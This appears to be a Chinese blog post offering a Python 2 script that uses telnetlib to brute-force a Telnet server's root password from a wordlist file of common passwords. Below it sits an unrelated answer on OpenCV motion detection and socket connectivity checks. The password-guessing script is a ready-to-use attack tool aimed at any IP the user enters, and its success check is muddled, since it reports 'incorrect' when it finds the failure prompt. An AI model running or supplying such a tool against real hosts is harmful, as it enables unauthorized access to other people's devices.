Python实现Telnet自动连接检测密码

最近在学习Python网络相关编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。


代码如下:

#encoding=utf-8
import telnetlib
import time
import sys
import os

def do_telnet(Host, Port, username, password, finish):
    #连接Telnet服务器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)
    
    #输入登录用户名
    tn.read_until("login: ")
    tn.write(str(username)+'\n')
    
    # 输入登录密码
    tn.read_until("Password: ")
    tn.write(str(password)+'\n')
      
    # 判断密码错误提示,如果没有这个提示说明登录成功
    if tn.read_until(finish):
       print "****** login incorrect!\n"
    tn.close();
    
if __name__=='__main__':
    Host = raw_input("IP:")           # Telnet服务器IP
    Port = raw_input("Port:")        # Telnet服务器端口
    username = 'root'          # 登录用户名
    finish = 'incorrect'       # 密码错误提示
    pw_file = open('.\\pw.txt','r+') #密码文件
    Index = 0
    print time.asctime(),":   ****** begin","\n"
    while True:
        password = pw_file.readline()
        Index +=1;
        print Index,time.asctime(),":   ****** try","",username,":",password,""
        if len(password) == 0:
            break;
        do_telnet(Host, Port, username, password, finish)
    pw_file.close();


密码本pw.txt,内容例如:

root
admin
12345
888888


输出如下:



注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。


  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
针对运动探测和网络连接检测,可以使用Python的一些库来实现。 1. 运动探测 可以使用OpenCV库来进行运动探测。具体步骤如下: (1)读取视频帧或者摄像头实时捕获帧。 (2)将当前帧转换为灰度图像。 (3)如果是第一帧,则将其作为背景帧。否则,计算当前帧与背景帧之间的差异。 (4)对差异图像进行阈值处理,得到二值图像。 (5)对二值图像进行形态学操作(膨胀、腐蚀等),可以去除噪声和填补空洞。 (6)通过轮廓检测检测运动的物体。 代码示例: ```python import cv2 cap = cv2.VideoCapture(0) # 初始化背景帧 ret, frame = cap.read() gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) gray = cv2.GaussianBlur(gray, (21, 21), 0) background = gray while True: # 读取当前帧 ret, frame = cap.read() # 转换为灰度图像 gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) gray = cv2.GaussianBlur(gray, (21, 21), 0) # 计算当前帧与背景帧之间的差异 diff = cv2.absdiff(background, gray) # 对差异图像进行阈值处理,得到二值图像 thresh = cv2.threshold(diff, 25, 255, cv2.THRESH_BINARY)[1] # 对二值图像进行形态学操作 kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5, 5)) thresh = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel) # 轮廓检测检测运动的物体 contours, hierarchy = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) # 在原始帧上绘制矩形框 for c in contours: if cv2.contourArea(c) < 1000: continue (x, y, w, h) = cv2.boundingRect(c) cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2) # 显示结果 cv2.imshow("frame", frame) cv2.imshow("thresh", thresh) # 按下q键退出 if cv2.waitKey(1) & 0xFF == ord('q'): break cap.release() cv2.destroyAllWindows() ``` 2. 网络连接检测 可以使用Python的socket库来进行网络连接检测。具体步骤如下: (1)创建一个socket对象。 (2)设置连接超时时间。 (3)使用socket对象的connect()方法来连接目标主机。 (4)如果连接成功,说明网络连接正常;否则,网络连接异常。 代码示例: ```python import socket host = "www.baidu.com" port = 80 # 创建一个socket对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 设置连接超时时间 s.settimeout(3) try: # 连接目标主机 s.connect((host, port)) print("网络连接正常") except: print("网络连接异常") s.close() ``` 以上是Python实现运动探测和网络连接检测的简单示例,具体实现方式还需要根据实际需求进行相应的改进和优化。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值